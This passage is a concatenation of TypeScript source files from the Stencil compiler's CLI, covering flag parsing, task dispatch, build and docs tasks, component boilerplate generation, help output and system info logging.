flags a ConfigFlags object to which parsed arguments will be added * @param args an array of command-line arguments to parse */ const parseArgs = (flags: ConfigFlags, args: string[]) => { const argsCopy = args.concat(); while (argsCopy.length > 0) { // there are still unprocessed args to deal with parseCLITerm(flags, argsCopy); } }; /** * Given an array of CLI arguments, parse it and perform a series of side * effects (setting values on the provided `ConfigFlags` object). * * @param flags a {@link ConfigFlags} object which is updated as we parse the CLI * arguments * @param args a list of args to work through. This function (and some functions * it calls) calls `Array.prototype.shift` to get the next argument to look at, * so this parameter will be modified. */ const parseCLITerm = (flags: ConfigFlags, args: string[]) => { // pull off the first arg from the argument array const arg = args.shift(); // array is empty, we're done! if (arg === undefined) return; // capture whether this is a special case of a negated boolean or boolean-string before we start to test each case const isNegatedBoolean = !readOnlyArrayHasStringMember(BOOLEAN_CLI_FLAGS, normalizeFlagName(arg)) && readOnlyArrayHasStringMember(BOOLEAN_CLI_FLAGS, normalizeNegativeFlagName(arg)); const isNegatedBooleanOrString = !readOnlyArrayHasStringMember(BOOLEAN_STRING_CLI_FLAGS, normalizeFlagName(arg)) && readOnlyArrayHasStringMember(BOOLEAN_STRING_CLI_FLAGS, normalizeNegativeFlagName(arg)); // EqualsArg → "--" ArgName "=" CLIValue ; if (arg.startsWith('--') && arg.includes('=')) { // we're dealing with an EqualsArg, we have a special helper for that const [originalArg, value] = parseEqualsArg(arg); setCLIArg(flags, arg.split('=')[0], normalizeFlagName(originalArg), value); } // AliasEqualsArg → "-" AliasName "=" CLIValue ; else if (arg.startsWith('-') && arg.includes('=')) { // we're dealing with an AliasEqualsArg, we have a special helper for that const [originalArg, value] = parseEqualsArg(arg); setCLIArg(flags, desugarRawAlias(originalArg), normalizeFlagName(originalArg), value); } // AliasArg → "-" AliasName ( " " CLIValue )? ; else if (CLI_FLAG_REGEX.test(arg)) { // this is a short alias, like `-c` for Config setCLIArg(flags, desugarRawAlias(arg), normalizeFlagName(arg), parseCLIValue(args)); } // NegativeDashArg → "--no-" ArgName ; else if (arg.startsWith('--no-') && arg.length > '--no-'.length) { // this is a `NegativeDashArg` term, so we need to normalize the negative // flag name and then set an appropriate value const normalized = normalizeNegativeFlagName(arg); setCLIArg(flags, arg, normalized, ''); } // NegativeArg → "--no" ArgName ; else if (arg.startsWith('--no') && (isNegatedBoolean || isNegatedBooleanOrString)) { // possibly dealing with a `NegativeArg` here. There is a little ambiguity // here because we have arguments that already begin with `no` like // `notify`, so we need to test if a normalized form of the raw argument is // a valid and supported boolean flag. setCLIArg(flags, arg, normalizeNegativeFlagName(arg), ''); } // SimpleArg → "--" ArgName ( " " CLIValue )? ; else if (arg.startsWith('--') && arg.length > '--'.length) { setCLIArg(flags, arg, normalizeFlagName(arg), parseCLIValue(args)); } else { // if we get here then `arg` is not an argument in our list of supported // arguments. This doesn't necessarily mean we want to report an error or // anything though! Instead, with unknown / unrecognized arguments we want // to stick them into the `unknownArgs` array, which is used when we pass // CLI args to Jest, for instance. flags.unknownArgs.push(arg); } }; /** * Normalize a 'negative' flag name, just to do a little pre-processing before * we pass it to {@link setCLIArg}. * * @param flagName the flag name to normalize * @returns a normalized flag name */ const normalizeNegativeFlagName = (flagName: string): string => { const trimmed = flagName.replace(/^--no[-]?/, ''); return normalizeFlagName(trimmed.charAt(0).toLowerCase() + trimmed.slice(1)); }; /** * Normalize a flag name by: * * - replacing any leading dashes (`--foo` -> `foo`) * - converting `dash-case` to camelCase (if necessary) * * Normalizing in this context basically means converting the various * supported flag spelling variants to the variant defined in our lists of * supported arguments (e.g. BOOLEAN_CLI_FLAGS, etc). So, for instance, * `--log-level` should be converted to `logLevel`. * * @param flagName the flag name to normalize * @returns a normalized flag name * */ const normalizeFlagName = (flagName: string): string => { const trimmed = flagName.replace(/^-+/, ''); return trimmed.includes('-') ? toCamelCase(trimmed) : trimmed; }; /** * Set a value on a provided {@link ConfigFlags} object, given an argument * name and a raw string value. This function dispatches to other functions * which make sure that the string value can be properly parsed into a JS * runtime value of the right type (e.g. number, string, etc). * * @throws if a value cannot be parsed to the right type for a given flag * @param flags a {@link ConfigFlags} object * @param rawArg the raw argument name matched by the parser * @param normalizedArg an argument with leading control characters (`--`, * `--no-`, etc) removed * @param value the raw value to be set onto the config flags object */ const setCLIArg = (flags: ConfigFlags, rawArg: string, normalizedArg: string, value: CLIValueResult) => { normalizedArg = desugarAlias(normalizedArg); // We're setting a boolean! if (readOnlyArrayHasStringMember(BOOLEAN_CLI_FLAGS, normalizedArg)) { const parsed = typeof value === 'string' ? // check if the value is `'true'` value === 'true' : // no value was supplied, default to true true; flags[normalizedArg] = parsed; flags.knownArgs.push(rawArg); if (typeof value === 'string' && value !== '') { flags.knownArgs.push(value); } } // We're setting a string! else if (readOnlyArrayHasStringMember(STRING_CLI_FLAGS, normalizedArg)) { if (typeof value === 'string') { flags[normalizedArg] = value; flags.knownArgs.push(rawArg); flags.knownArgs.push(value); } else { throwCLIParsingError(rawArg, 'expected a string argument but received nothing'); } } // We're setting a string, but it's one where the user can pass multiple values, // like `--reporters="default" --reporters="jest-junit"` else if (readOnlyArrayHasStringMember(STRING_ARRAY_CLI_FLAGS, normalizedArg)) { if (typeof value === 'string') { if (!Array.isArray(flags[normalizedArg])) { flags[normalizedArg] = []; } const targetArray = flags[normalizedArg]; // this is irritating, but TS doesn't know that the `!Array.isArray` // check above guarantees we have an array to work with here, and it // doesn't want to narrow the type of `flags[normalizedArg]`, so we need // to grab a reference to that array and then `Array.isArray` that. Bah! if (Array.isArray(targetArray)) { targetArray.push(value); flags.knownArgs.push(rawArg); flags.knownArgs.push(value); } } else { throwCLIParsingError(rawArg, 'expected a string argument but received nothing'); } } // We're setting a number! else if (readOnlyArrayHasStringMember(NUMBER_CLI_FLAGS, normalizedArg)) { if (typeof value === 'string') { const parsed = parseInt(value, 10); if (isNaN(parsed)) { throwNumberParsingError(rawArg, value); } else { flags[normalizedArg] = parsed; flags.knownArgs.push(rawArg); flags.knownArgs.push(value); } } else { throwCLIParsingError(rawArg, 'expected a number argument but received nothing'); } } // We're setting a value which could be either a string _or_ a number else if (readOnlyArrayHasStringMember(STRING_NUMBER_CLI_FLAGS, normalizedArg)) { if (typeof value === 'string') { if (CLI_ARG_STRING_REGEX.test(value)) { // if it matches the regex we treat it like a string flags[normalizedArg] = value; } else { const parsed = Number(value); if (isNaN(parsed)) { // parsing didn't go so well, we gotta get out of here // this is unlikely given our regex guard above // but hey, this is ultimately JS so let's be safe throwNumberParsingError(rawArg, value); } else { flags[normalizedArg] = parsed; } } flags.knownArgs.push(rawArg); flags.knownArgs.push(value); } else { throwCLIParsingError(rawArg, 'expected a string or a number but received nothing'); } } // We're setting a value which could be either a boolean _or_ a string else if (readOnlyArrayHasStringMember(BOOLEAN_STRING_CLI_FLAGS, normalizedArg)) { const derivedValue = typeof value === 'string' ? value ? value // use the supplied value if it's a non-empty string : false // otherwise, default to false for the empty string : true; // no value was supplied, default to true flags[normalizedArg] = derivedValue; flags.knownArgs.push(rawArg); if (typeof derivedValue === 'string' && derivedValue) { flags.knownArgs.push(derivedValue); } } // We're setting the log level, which can only be a set of specific string values else if (readOnlyArrayHasStringMember(LOG_LEVEL_CLI_FLAGS, normalizedArg)) { if (typeof value === 'string') { if (isLogLevel(value)) { flags[normalizedArg] = value; flags.knownArgs.push(rawArg); flags.knownArgs.push(value); } else { throwCLIParsingError(rawArg, `expected to receive a valid log level but received "${String(value)}"`); } } else { throwCLIParsingError(rawArg, 'expected to receive a valid log level but received nothing'); } } else { // we haven't found this flag in any of our lists of arguments, so we // should put it in our list of unknown arguments flags.unknownArgs.push(rawArg); if (typeof value === 'string') { flags.unknownArgs.push(value); } } }; /** * We use this regular expression to detect CLI parameters which * should be parsed as string values (as opposed to numbers) for * the argument types for which we support both a string and a * number value. * * The regex tests for the presence of at least one character which is * _not_ a digit (`\d`), a period (`\.`), or one of the characters `"e"`, * `"E"`, `"+"`, or `"-"` (the latter four characters are necessary to * support the admittedly unlikely use of scientific notation, like `"4e+0"` * for `4`). * * Thus we'll match a string like `"50%"`, but not a string like `"50"` or * `"5.0"`. If it matches a given string we conclude that the string should * be parsed as a string literal, rather than using `Number` to convert it * to a number. */ const CLI_ARG_STRING_REGEX = /[^\d\.Ee\+\-]+/g; export const Empty = Symbol('Empty'); /** * The result of trying to parse a CLI arg. This will be a `string` if a * well-formed value is present, or `Empty` to indicate that nothing was matched * or that the input was malformed. */ type CLIValueResult = string | typeof Empty; /** * A little helper which tries to parse a CLI value (as opposed to a flag) off * of the argument array. * * We support a variety of different argument formats for flags (as opposed to * values), but all of them start with `-`, so we can check the first character * to test whether the next token in our array of CLI arguments is a flag name * or a value. * * @param args an array of CLI args * @returns either a string result or an Empty sentinel */ const parseCLIValue = (args: string[]): CLIValueResult => { // it's possible the arguments array is empty, if so, return empty if (args[0] === undefined) { return Empty; } // all we're concerned with here is that it does not start with `"-"`, // which would indicate it should be parsed as a CLI flag and not a value. if (!args[0].startsWith('-')) { // It's not a flag, so we return the value and defer any specific parsing // until later on. const value = args.shift(); if (typeof value === 'string') { return value; } } return Empty; }; /** * Parse an 'equals' argument, which is a CLI argument-value pair in the * format `--foobar=12` (as opposed to a space-separated format like * `--foobar 12`). * * To parse this we split on the `=`, returning the first part as the argument * name and the second part as the value. We join the value on `"="` in case * there is another `"="` in the argument. * * This function is safe to call with any arg, and can therefore be used as * an argument 'normalizer'. If CLI argument is not an 'equals' argument then * the return value will be a tuple of the original argument and an empty * string `""` for the value. * * In code terms, if you do: * * ```ts * const [arg, value] = parseEqualsArg("--myArgument") * ``` * * Then `arg` will be `"--myArgument"` and `value` will be `""`, whereas if * you do: * * * ```ts * const [arg, value] = parseEqualsArg("--myArgument=myValue") * ``` * * Then `arg` will be `"--myArgument"` and `value` will be `"myValue"`. * * @param arg the arg in question * @returns a tuple containing the arg name and the value (if present) */ export const parseEqualsArg = (arg: string): [string, CLIValueResult] => { const [originalArg, ...splitSections] = arg.split('='); const value = splitSections.join('='); return [originalArg, value === '' ? Empty : value]; }; /** * Small helper for getting type-system-level assurance that a `string` can be * narrowed to a `LogLevel` * * @param maybeLogLevel the string to check * @returns whether this is a `LogLevel` */ const isLogLevel = (maybeLogLevel: string): maybeLogLevel is LogLevel => readOnlyArrayHasStringMember(LOG_LEVELS, maybeLogLevel); /** * A little helper for constructing and throwing an error message with info * about what went wrong * * @param flag the flag which encountered the error * @param message a message specific to the error which was encountered */ const throwCLIParsingError = (flag: string, message: string) => { throw new Error(`when parsing CLI flag "${flag}": ${message}`); }; /** * Throw a specific error for the situation where we ran into an issue parsing * a number. * * @param flag the flag for which we encountered the issue * @param value what we were trying to parse */ const throwNumberParsingError = (flag: string, value: string) => { throwCLIParsingError(flag, `expected a number but received "${value}"`); }; /** * A little helper to 'desugar' a flag alias, meaning expand it to its full * name. For instance, the alias `"c"` will desugar to `"config"`. * * If no expansion is found for the possible alias we just return the passed * string unmodified. * * @param maybeAlias a string which _could_ be an alias to a full flag name * @returns the full aliased flag name, if found, or the passed string if not */ const desugarAlias = (maybeAlias: string): string => { const possiblyDesugared = CLI_FLAG_ALIASES[maybeAlias]; if (typeof possiblyDesugared === 'string') { return possiblyDesugared; } return maybeAlias; }; /** * Desugar a 'raw' alias (with a leading dash) and return an equivalent, * desugared argument. * * For instance, passing `"-c` will return `"--config"`. * * The reason we'd like to do this is not so much for our own code, but so that * we can transform an alias like `"-u"` to `"--updateSnapshot"` in order to * pass it along to Jest. * * @param rawAlias a CLI flag alias as found on the command line (like `"-c"`) * @returns an equivalent full command (like `"--config"`) */ const desugarRawAlias = (rawAlias: string): string => '--' + desugarAlias(normalizeFlagName(rawAlias)); ================================================ FILE: src/cli/public.ts ================================================ import type { CliInitOptions, Config, Logger, TaskCommand } from '@stencil/core/internal'; import type { ConfigFlags } from './config-flags'; /** * Runs the CLI with the given options. This is used by Stencil's default `bin/stencil` file, * but can be used externally too. * @param init a set of initialization options needed to run Stencil from its CLI * @returns an empty promise */ export declare function run(init: CliInitOptions): Promise; /** * Run individual CLI tasks. * @param coreCompiler The core Stencil compiler to be used. The `run()` method handles loading the core compiler, however, `runTask()` must be passed it. * @param config Assumes the config has already been validated and has the "sys" and "logger" properties. * @param task The task command to run, such as `build`. * @returns an empty promise */ export declare function runTask(coreCompiler: any, config: Config, task: TaskCommand): Promise; export declare function parseFlags(args: string[]): ConfigFlags; export { Config, ConfigFlags, Logger, TaskCommand }; ================================================ FILE: src/cli/run.ts ================================================ import { hasError, isFunction, result, shouldIgnoreError } from '@utils'; import type * as d from '../declarations'; import { ValidatedConfig } from '../declarations'; import { createConfigFlags } from './config-flags'; import { findConfig } from './find-config'; import { CoreCompiler, loadCoreCompiler } from './load-compiler'; import { loadedCompilerLog, startupLog, startupLogVersion } from './logs'; import { parseFlags } from './parse-flags'; import { taskBuild } from './task-build'; import { taskDocs } from './task-docs'; import { taskGenerate } from './task-generate'; import { taskHelp } from './task-help'; import { taskInfo } from './task-info'; import { taskPrerender } from './task-prerender'; import { taskServe } from './task-serve'; import { taskTelemetry } from './task-telemetry'; import { taskTest } from './task-test'; import { telemetryAction } from './telemetry/telemetry'; /** * Main entry point for the Stencil CLI * * Take care of parsing CLI arguments, initializing various components needed * by the rest of the program, and kicking off the correct task (build, test, * etc). * * @param init initial CLI options * @returns an empty promise */ export const run = async (init: d.CliInitOptions) => { const { args, logger, sys } = init; try { const flags = parseFlags(args); const task = flags.task; if (flags.debug || flags.verbose) { logger.setLevel('debug'); } if (flags.ci) { logger.enableColors(false); } if (isFunction(sys.applyGlobalPatch)) { sys.applyGlobalPatch(sys.getCurrentDirectory()); } if ((task && task === 'version') || flags.version) { // we need to load the compiler here to get the version, but we don't // want to load it in the case that we're going to just log the help // message and then exit below (if there's no `task` defined) so we load // it just within our `if` scope here. const coreCompiler = await loadCoreCompiler(sys); console.log(coreCompiler.version); return; } if (!task || task === 'help' || flags.help) { await taskHelp(createConfigFlags({ task: 'help', args }), logger, sys); return; } startupLog(logger, task); const findConfigResults = await findConfig({ sys, configPath: flags.config }); if (findConfigResults.isErr) { logger.printDiagnostics(findConfigResults.value); return sys.exit(1); } const coreCompiler = await loadCoreCompiler(sys); startupLogVersion(logger, task, coreCompiler); loadedCompilerLog(sys, logger, flags, coreCompiler); if (task === 'info') { taskInfo(coreCompiler, sys, logger); return; } const foundConfig = result.unwrap(findConfigResults); const validated = await coreCompiler.loadConfig({ config: { flags, }, configPath: foundConfig.configPath, logger, sys, }); if (validated.diagnostics.length > 0) { logger.printDiagnostics(validated.diagnostics); if (hasError(validated.diagnostics)) { return sys.exit(1); } } if (isFunction(sys.applyGlobalPatch)) { sys.applyGlobalPatch(validated.config.rootDir); } await telemetryAction(sys, validated.config, coreCompiler, async () => { await runTask(coreCompiler, validated.config, task, sys); }); } catch (e) { if (!shouldIgnoreError(e)) { const details = `${logger.getLevel() === 'debug' && e instanceof Error ? e.stack : ''}`; logger.error(`uncaught cli error: ${e}${details}`); return sys.exit(1); } } }; /** * Run a specified task * * @param coreCompiler an instance of a minimal, bootstrap compiler for running the specified task * @param config a configuration for the Stencil project to apply to the task run * @param task the task to run * @param sys the {@link d.CompilerSystem} for interacting with the operating system * @public * @returns a void promise */ export const runTask = async ( coreCompiler: CoreCompiler, config: d.Config, task: d.TaskCommand, sys: d.CompilerSystem, ): Promise => { const flags = createConfigFlags(config.flags ?? { task }); config.flags = flags; if (!config.sys) { config.sys = sys; } const strictConfig: ValidatedConfig = coreCompiler.validateConfig(config, {}).config; switch (task) { case 'build': await taskBuild(coreCompiler, strictConfig); break; case 'docs': await taskDocs(coreCompiler, strictConfig); break; case 'generate': case 'g': await taskGenerate(strictConfig); break; case 'help': await taskHelp(strictConfig.flags, strictConfig.logger, sys); break; case 'prerender': await taskPrerender(coreCompiler, strictConfig); break; case 'serve': await taskServe(strictConfig); break; case 'telemetry': await taskTelemetry(strictConfig.flags, sys, strictConfig.logger); break; case 'test': await taskTest(strictConfig); break; case 'version': console.log(coreCompiler.version); break; default: strictConfig.logger.error( `${strictConfig.logger.emoji('❌ ')}Invalid stencil command, please see the options below:`, ); await taskHelp(strictConfig.flags, strictConfig.logger, sys); return config.sys.exit(1); } }; ================================================ FILE: src/cli/task-build.ts ================================================ import type * as d from '../declarations'; import { printCheckVersionResults, startCheckVersion } from './check-version'; import type { CoreCompiler } from './load-compiler'; import { startupCompilerLog } from './logs'; import { runPrerenderTask } from './task-prerender'; import { taskWatch } from './task-watch'; import { telemetryBuildFinishedAction } from './telemetry/telemetry'; export const taskBuild = async (coreCompiler: CoreCompiler, config: d.ValidatedConfig) => { if (config.flags.watch) { // watch build await taskWatch(coreCompiler, config); return; } // one-time build let exitCode = 0; try { startupCompilerLog(coreCompiler, config); const versionChecker = startCheckVersion(config, coreCompiler.version); const compiler = await coreCompiler.createCompiler(config); const results = await compiler.build(); await telemetryBuildFinishedAction(config.sys, config, coreCompiler, results); await compiler.destroy(); if (results.hasError) { exitCode = 1; } else if (config.flags.prerender) { const prerenderDiagnostics = await runPrerenderTask( coreCompiler, config, results.hydrateAppFilePath, results.componentGraph, undefined, ); config.logger.printDiagnostics(prerenderDiagnostics); if (prerenderDiagnostics.some((d) => d.level === 'error')) { exitCode = 1; } } await printCheckVersionResults(versionChecker); } catch (e) { exitCode = 1; config.logger.error(e); } if (exitCode > 0) { return config.sys.exit(exitCode); } }; ================================================ FILE: src/cli/task-docs.ts ================================================ import { isOutputTargetDocs } from '@utils'; import type { ValidatedConfig } from '../declarations'; import type { CoreCompiler } from './load-compiler'; import { startupCompilerLog } from './logs'; export const taskDocs = async (coreCompiler: CoreCompiler, config: ValidatedConfig) => { config.devServer = {}; config.outputTargets = config.outputTargets.filter(isOutputTargetDocs); config.devMode = true; startupCompilerLog(coreCompiler, config); const compiler = await coreCompiler.createCompiler(config); await compiler.build(); await compiler.destroy(); }; ================================================ FILE: src/cli/task-generate.ts ================================================ import { normalizePath, validateComponentTag } from '@utils'; import { join, parse, relative } from 'path'; import type { ValidatedConfig } from '../declarations'; /** * Task to generate component boilerplate and write it to disk. This task can * cause the program to exit with an error under various circumstances, such as * being called in an inappropriate place, being asked to overwrite files that * already exist, etc. * * @param config the user-supplied config, which we need here to access `.sys`. * @returns a void promise */ export const taskGenerate = async (config: ValidatedConfig): Promise => { if (!config.configPath) { config.logger.error('Please run this command in your root directory (i. e. the one containing stencil.config.ts).'); return config.sys.exit(1); } const absoluteSrcDir = config.srcDir; if (!absoluteSrcDir) { config.logger.error(`Stencil's srcDir was not specified.`); return config.sys.exit(1); } const { prompt } = await import('prompts'); const input = config.flags.unknownArgs.find((arg) => !arg.startsWith('-')) || ((await prompt({ name: 'tagName', type: 'text', message: 'Component tag name (dash-case):' })).tagName as string); if (undefined === input) { // in some shells (e.g. Windows PowerShell), hitting Ctrl+C results in a TypeError printed to the console. // explicitly return here to avoid printing the error message. return; } const { dir, base: componentName } = parse(input); const tagError = validateComponentTag(componentName); if (tagError) { config.logger.error(tagError); return config.sys.exit(1); } let cssExtension: GeneratableStylingExtension = 'css'; if (!!config.plugins.find((plugin) => plugin.name === 'sass')) { cssExtension = await chooseSassExtension(); } else if (!!config.plugins.find((plugin) => plugin.name === 'less')) { cssExtension = 'less'; } const filesToGenerateExt = await chooseFilesToGenerate(cssExtension); if (!filesToGenerateExt) { // in some shells (e.g. Windows PowerShell), hitting Ctrl+C results in a TypeError printed to the console. // explicitly return here to avoid printing the error message. return; } const extensionsToGenerate: GeneratableExtension[] = ['tsx', ...filesToGenerateExt]; const testFolder = extensionsToGenerate.some(isTest) ? 'test' : ''; const outDir = join(absoluteSrcDir, 'components', dir, componentName); await config.sys.createDir(normalizePath(join(outDir, testFolder)), { recursive: true }); const filesToGenerate: readonly BoilerplateFile[] = extensionsToGenerate.map((extension) => ({ extension, path: getFilepathForFile(outDir, componentName, extension), })); await checkForOverwrite(filesToGenerate, config); const writtenFiles = await Promise.all( filesToGenerate.map((file) => getBoilerplateAndWriteFile( config, componentName, extensionsToGenerate.includes('css') || extensionsToGenerate.includes('sass') || extensionsToGenerate.includes('scss') || extensionsToGenerate.includes('less'), file, cssExtension, ), ), ).catch((error) => config.logger.error(error)); if (!writtenFiles) { return config.sys.exit(1); } // We use `console.log` here rather than our `config.logger` because we don't want // our TUI messages to be prefixed with timestamps and so on. // // See STENCIL-424 for details. console.log(); console.log(`${config.logger.gray('$')} stencil generate ${input}`); console.log(); console.log(config.logger.bold('The following files have been generated:')); const absoluteRootDir = config.rootDir; writtenFiles.map((file) => console.log(` - ${relative(absoluteRootDir, file)}`)); }; /** * Show a checkbox prompt to select the files to be generated. * * @param cssExtension the extension of the CSS file to be generated * @returns a read-only array of `GeneratableExtension`, the extensions that the user has decided * to generate */ const chooseFilesToGenerate = async (cssExtension: string): Promise> => { const { prompt } = await import('prompts'); return ( await prompt({ name: 'filesToGenerate', type: 'multiselect', message: 'Which additional files do you want to generate?', choices: [ { value: cssExtension, title: `Stylesheet (.${cssExtension})`, selected: true }, { value: 'spec.tsx', title: 'Spec Test (.spec.tsx)', selected: true }, { value: 'e2e.ts', title: 'E2E Test (.e2e.ts)', selected: true }, ], }) ).filesToGenerate; }; const chooseSassExtension = async () => { const { prompt } = await import('prompts'); return ( await prompt({ name: 'sassFormat', type: 'select', message: 'Which Sass format would you like to use? (More info: https://sass-lang.com/documentation/syntax/#the-indented-syntax)', choices: [ { value: 'sass', title: `*.sass Format`, selected: true }, { value: 'scss', title: '*.scss Format' }, ], }) ).sassFormat; }; /** * Get a filepath for a file we want to generate! * * The filepath for a given file depends on the path, the user-supplied * component name, the extension, and whether we're inside of a test directory. * * @param filePath path to where we're going to generate the component * @param componentName the user-supplied name for the generated component * @param extension the file extension * @returns the full filepath to the component (with a possible `test` directory * added) */ const getFilepathForFile = (filePath: string, componentName: string, extension: GeneratableExtension): string => isTest(extension) ? normalizePath(join(filePath, 'test', `${componentName}.${extension}`)) : normalizePath(join(filePath, `${componentName}.${extension}`)); /** * Get the boilerplate for a file and write it to disk * * @param config the current config, needed for file operations * @param componentName the component name (user-supplied) * @param withCss are we generating CSS? * @param file the file we want to write * @param styleExtension extension used for styles * @returns a `Promise` which holds the full filepath we've written to, * used to print out a little summary of our activity to the user. */ const getBoilerplateAndWriteFile = async ( config: ValidatedConfig, componentName: string, withCss: boolean, file: BoilerplateFile, styleExtension: GeneratableStylingExtension, ): Promise => { const boilerplate = getBoilerplateByExtension(componentName, file.extension, withCss, styleExtension); await config.sys.writeFile(normalizePath(file.path), boilerplate); return file.path; }; /** * Check to see if any of the files we plan to write already exist and would * therefore be overwritten if we proceed, because we'd like to not overwrite * people's code! * * This function will check all the filepaths and if it finds any files log an * error and exit with an error code. If it doesn't find anything it will just * peacefully return `Promise`. * * @param files the files we want to check * @param config the Config object, used here to get access to `sys.readFile` */ const checkForOverwrite = async (files: readonly BoilerplateFile[], config: ValidatedConfig): Promise => { const alreadyPresent: string[] = []; await Promise.all( files.map(async ({ path }) => { if ((await config.sys.readFile(path)) !== undefined) { alreadyPresent.push(path); } }), ); if (alreadyPresent.length > 0) { config.logger.error( 'Generating code would overwrite the following files:', ...alreadyPresent.map((path) => '\t' + normalizePath(path)), ); await config.sys.exit(1); } }; /** * Check if an extension is for a test * * @param extension the extension we want to check * @returns a boolean indicating whether or not its a test */ const isTest = (extension: GeneratableExtension): boolean => { return extension === 'e2e.ts' || extension === 'spec.tsx'; }; /** * Get the boilerplate for a file by its extension. * * @param tagName the name of the component we're generating * @param extension the file extension we want boilerplate for (.css, tsx, etc) * @param withCss a boolean indicating whether we're generating a CSS file * @param styleExtension extension used for styles * @returns a string container the file boilerplate for the supplied extension */ export const getBoilerplateByExtension = ( tagName: string, extension: GeneratableExtension, withCss: boolean, styleExtension: GeneratableStylingExtension, ): string => { switch (extension) { case 'tsx': return getComponentBoilerplate(tagName, withCss, styleExtension); case 'css': case 'less': case 'sass': case 'scss': return getStyleUrlBoilerplate(styleExtension); case 'spec.tsx': return getSpecTestBoilerplate(tagName); case 'e2e.ts': return getE2eTestBoilerplate(tagName); default: throw new Error(`Unkown extension "${extension}".`); } }; /** * Get the boilerplate for a file containing the definition of a component * @param tagName the name of the tag to give the component * @param hasStyle designates if the component has an external stylesheet or not * @param styleExtension extension used for styles * @returns the contents of a file that defines a component */ const getComponentBoilerplate = ( tagName: string, hasStyle: boolean, styleExtension: GeneratableStylingExtension, ): string => { const decorator = [`{`]; decorator.push(` tag: '${tagName}',`); if (hasStyle) { decorator.push(` styleUrl: '${tagName}.${styleExtension}',`); } decorator.push(` shadow: true,`); decorator.push(`}`); return `import { Component, Host, h } from '@stencil/core'; @Component(${decorator.join('\n')}) export class ${toPascalCase(tagName)} { render() { return ( ); } } `; }; /** * Get the boilerplate for style for a generated component * @param ext extension used for styles * @returns a boilerplate CSS block */ const getStyleUrlBoilerplate = (ext: GeneratableExtension): string => ext === 'sass' ? `:host display: block ` : `:host { display: block; } `; /** * Get the boilerplate for a file containing a spec (unit) test for a component * @param tagName the name of the tag associated with the component under test * @returns the contents of a file that unit tests a component */ const getSpecTestBoilerplate = (tagName: string): string => `import { newSpecPage } from '@stencil/core/testing'; import { ${toPascalCase(tagName)} } from '../${tagName}'; describe('${tagName}', () => { it('renders', async () => { const page = await newSpecPage({ components: [${toPascalCase(tagName)}], html: \`<${tagName}>\`, }); expect(page.root).toEqualHtml(\` <${tagName}> \`); }); }); `; /** * Get the boilerplate for a file containing an end-to-end (E2E) test for a component * @param tagName the name of the tag associated with the component under test * @returns the contents of a file that E2E tests a component */ const getE2eTestBoilerplate = (tagName: string): string => `import { newE2EPage } from '@stencil/core/testing'; describe('${tagName}', () => { it('renders', async () => { const page = await newE2EPage(); await page.setContent('<${tagName}>'); const element = await page.find('${tagName}'); expect(element).toHaveClass('hydrated'); }); }); `; /** * Convert a dash case string to pascal case. * @param str the string to convert * @returns the converted input as pascal case */ const toPascalCase = (str: string): string => str.split('-').reduce((res, part) => res + part[0].toUpperCase() + part.slice(1), ''); /** * Extensions available to generate. */ export type GeneratableExtension = 'tsx' | 'spec.tsx' | 'e2e.ts' | GeneratableStylingExtension; /** * Extensions available to generate. */ export type GeneratableStylingExtension = 'css' | 'sass' | 'scss' | 'less'; /** * A little interface to wrap up the info we need to pass around for generating * and writing boilerplate. */ export interface BoilerplateFile { extension: GeneratableExtension; /** * The full path to the file we want to generate. */ path: string; } ================================================ FILE: src/cli/task-help.ts ================================================ import type * as d from '../declarations'; import { ConfigFlags } from './config-flags'; import { taskTelemetry } from './task-telemetry'; /** * Entrypoint for the Help task, providing Stencil usage context to the user * @param flags configuration flags provided to Stencil when a task was call (either this task or a task that invokes * telemetry) * @param logger a logging implementation to log the results out to the user * @param sys the abstraction for interfacing with the operating system */ export const taskHelp = async (flags: ConfigFlags, logger: d.Logger, sys: d.CompilerSystem): Promise => { const prompt = logger.dim(sys.details?.platform === 'windows' ? '>' : '$'); console.log(` ${logger.bold('Build:')} ${logger.dim('Build components for development or production.')} ${prompt} ${logger.green('stencil build [--dev] [--watch] [--prerender] [--debug]')} ${logger.cyan('--dev')} ${logger.dim('.............')} Development build ${logger.cyan('--watch')} ${logger.dim('...........')} Rebuild when files update ${logger.cyan('--serve')} ${logger.dim('...........')} Start the dev-server ${logger.cyan('--prerender')} ${logger.dim('.......')} Prerender the application ${logger.cyan('--docs')} ${logger.dim('............')} Generate component readme.md docs ${logger.cyan('--config')} ${logger.dim('..........')} Set stencil config file ${logger.cyan('--stats')} ${logger.dim('...........')} Write stats, optional file path (default: stencil-stats.json) ${logger.cyan('--log')} ${logger.dim('.............')} Write stencil-build.log file ${logger.cyan('--debug')} ${logger.dim('...........')} Set the log level to debug ${logger.bold('Test:')} ${logger.dim('Run unit and end-to-end tests.')} ${prompt} ${logger.green('stencil test [--spec] [--e2e]')} ${logger.cyan('--spec')} ${logger.dim('............')} Run unit tests with Jest ${logger.cyan('--e2e')} ${logger.dim('.............')} Run e2e tests with Puppeteer ${logger.bold('Generate:')} ${logger.dim('Bootstrap components.')} ${prompt} ${logger.green('stencil generate')} or ${logger.green('stencil g')} `); await taskTelemetry(flags, sys, logger); console.log(` ${logger.bold('Examples:')} ${prompt} ${logger.green('stencil build --dev --watch --serve')} ${prompt} ${logger.green('stencil build --prerender')} ${prompt} ${logger.green('stencil test --spec --e2e')} ${prompt} ${logger.green('stencil telemetry on')} ${prompt} ${logger.green('stencil generate')} ${prompt} ${logger.green('stencil g my-component')} `); }; ================================================ FILE: src/cli/task-info.ts ================================================ import type { CompilerSystem, Logger } from '../declarations'; import type { CoreCompiler } from './load-compiler'; /** * Generate the output for Stencils 'info' task, and log that output - `npx stencil info` * @param coreCompiler the compiler instance to derive certain version information from * @param sys the compiler system instance that provides details about the system Stencil is running on * @param logger the logger instance to use to log information out to */ export const taskInfo = (coreCompiler: CoreCompiler, sys: CompilerSystem, logger: Logger): void => { const details = sys.details; const versions = coreCompiler.versions; console.log(``); console.log(`${logger.cyan(' System:')} ${sys.name} ${sys.version}`); if (details) { console.log(`${logger.cyan(' Platform:')} ${details.platform} (${details.release})`); console.log( `${logger.cyan(' CPU Model:')} ${details.cpuModel} (${sys.hardwareConcurrency} cpu${ sys.hardwareConcurrency !== 1 ? 's' : '' })`, ); } console.log(`${logger.cyan(' Compiler:')} ${sys.getCompilerExecutingPath()}`); console.log(`${logger.cyan(' Build:')} ${coreCompiler.buildId}`); console.log(`${logger.cyan(' Stencil:')} ${coreCompiler.version}${logger.emoji(' ' + coreCompiler.vermoji)}`); console.log(`${logger.cyan(' TypeScript:')} ${versions.typescript}`); console.log(`${logger.cyan(' Rollup:')} ${versions.rollup}`); console.log(`${logger.cyan(' Parse5:')} ${versions.parse5}`); 